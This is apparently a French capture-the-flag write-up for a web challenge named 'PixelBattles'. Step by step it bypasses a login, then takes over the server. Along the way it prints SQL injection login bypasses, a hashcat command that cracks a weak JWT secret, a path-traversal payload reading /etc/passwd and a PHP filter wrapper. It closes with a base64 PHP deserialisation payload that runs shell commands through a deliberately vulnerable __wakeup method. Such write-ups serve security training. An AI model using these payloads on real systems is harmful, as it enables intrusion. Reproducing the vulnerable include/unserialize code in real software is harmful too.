PixelBattles
đ Introduction
Ce challenge consiste à exploiter différentes vulnérabilités web pour compromettre le serveur, obtenir un accÚs RCE et récupérer le flag.
đ Solution
1. Bypass de lâauthentification
La page dâaccueil propose une authentification. Sans informations utilisateur, nous tentons une injection SQL pour contourner cette authentification. En injectant une simple apostrophe ('
) dans le champ username la page renvoie un écran blanc.
En essayant un couple identifiant/mot de passe alĂ©atoire nous obtenons un message dâerreur :
Invalid username or password.
Nous allons donc essayer de faire une injection SQL pour bypass lâauthentification.
1
' OR 1 = 1--
Cette injection fonctionne et nous permet de contourner lâauthentification.
Nous sommes connectĂ©s en tant quâutilisateur |1|1th
. Cependant, lâaccĂšs Ă la section Admin est refusĂ© avec une erreur Access Denied.
Pour tenter de se connecter avec un autre utilisateur, nous modifions notre requĂȘte SQL en utilisant LIMIT :
1
' OR 1 LIMIT 1,2;--
1
' OR 1 LIMIT 2,3;--
Nous trouvons lâutilisateur Semah, mais avec les mĂȘmes droits que le prĂ©cĂ©dent. Nous explorons donc une autre piste.
2. Exploitation du token JWT
En inspectant le cookie de session, nous découvrons que la technologie utilisée est le JWT (JSON Web Token) :
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InNlbWFoIiwicm9sZSI6InVzZXIifQ.tsiCoyPyfA_XBJnhEE8K-tf5e_4qT6wpYMnozmEfmiQ
En le dĂ©codant sur jwt.io, nous dĂ©couvrons le nom dâutilisateur et le rĂŽle associĂ©.
Nous modifions le champ âroleâ en admin et rĂ©gĂ©nĂ©rons le token, mais cela ne fonctionne pas, le cookie est invalide car nous ne connaissons pas le secret pour signer le token.
Nous utilisons alors hashcat pour brute-forcer le secret du token.
1
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
AprĂšs quelques minutes, nous obtenons le mot âsecretâ comme clĂ© secrĂšte.
En rĂ©gĂ©nĂ©rant le token avec role: admin, nous restons connectĂ©s aprĂšs le rafraĂźchissement de la page et obtenons lâaccĂšs Ă lâinterface Admin.
3. Exploitation LFI (Local File Inclusion)
Dans la section admin, nous trouvons des liens vers plusieurs fichiers dâarticles, et lâun dâeux, article1.txt, affiche le texte test.
Nous suspectons ici une vulnérabilité *LFI** car il y a une inclusion de fichier.
Nous testons le payload suivant pour lire le fichier /etc/passwd :
1
page=../../../../etc/passwd
Cela fonctionne !
Dans le but dâobtenir une RCE, nous tentons de lire les fichiers de logs pour rĂ©aliser une attaque de type log poisoning, mais la lecture des logs est impossible. Nous essayons alors diffĂ©rents wrappers PHP, sans succĂšs. Une tentative dâattaque RFI sans succĂšs Ă©galement.
4. Découverte de failles RCE avec PHP Unserialize
En examinant le code source des pages PHP via le wrapper PHP suivant :
php://filter/convert.base64-encode
Nous trouvons des fonctionnalités potentiellement exploitables. Le code de admin.php contient un paramÚtre theme qui utilise la fonction unserialize
sur une valeur en base64. La page admin.php fait également appel à utils.php
<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
require 'vendor/autoload.php';
require 'utils.php';
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
$secret_key = "secret";
REDACTED
if (isset($_GET['page'])) {
if (strlen($_GET['page'])>100){die("String too long !");}
$page = $_GET['page'];
include($page);
}
if (isset($_GET['theme']))
{
$theme = unserialize(base64_decode($_GET['theme']));
echo $theme;
}
?>
REDACTED
Cette dĂ©serialisation pourrait ĂȘtre exploitĂ©e en injectant un objet malveillant. Nous regardons alors le contenu de utils.php pour mieux comprendre.
<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
class utils{
public $command;
public function __construct($command = '') {
$this->command = $command;
}
public function __wakeup() {
if ($this->command) {
echo "Executing command: " . htmlspecialchars($this->command) . "<br>";
echo "Command output: " . htmlspecialchars(shell_exec($this->command));
}
}
}
Ce code prĂ©sente une vulnĂ©rabilitĂ© critique liĂ©e Ă lâutilisation de la fonction unserialize sur une entrĂ©e utilisateur encodĂ©e en base64.
Le fichier admin.php reçoit un paramÚtre theme, le décode en base64, puis le désérialise, ce qui active les méthodes spéciales de PHP, comme __wakeup.
Dans utils.php, la classe utils possĂšde une mĂ©thode __wakeup qui exĂ©cute des commandes systĂšme via shell_exec si une commande est prĂ©sente. Ainsi, un attaquant pourrait injecter un objet malveillant pour exĂ©cuter des commandes sur le serveur, compromettant ainsi lâapplication.
Avec toutes ces informations, nous pouvons maintenant créer notre payload. Pour cela, je me suis appuyé sur cet article qui explique ce concept de maniÚre trÚs claire.
Payload :
O:5:"utils":1:{s:7:"command";s:2:"id";}
Encodé en base64 :
Tzo1OiJ1dGlscyI6MTp7czo3OiJjb21tYW5kIjtzOjI6ImlkIjt9
En lâutilisant, nous parvenons Ă exĂ©cuter des commandes sur le serveur.
Nous explorons ensuite le serveur et trouvons le fichier fc778805b96312d5737aeddea59577c4.txt
.
Pour le lire, nous utilisons un nouveau payload :
O:5:"utils":1:{s:7:"command";s:40:"cat fc778805b96312d5737aeddea59577c4.txt";}
Encodé en base64 :
Tzo1OiJ1dGlscyI6MTp7czo3OiJjb21tYW5kIjtzOjQwOiJjYXQgZmM3Nzg4MDViOTYzMTJkNTczN2FlZGRlYTU5NTc3YzQudHh0Ijt9
đ FLAG : PPC24{fc778805b96312d5737aeddea59577c4}
đ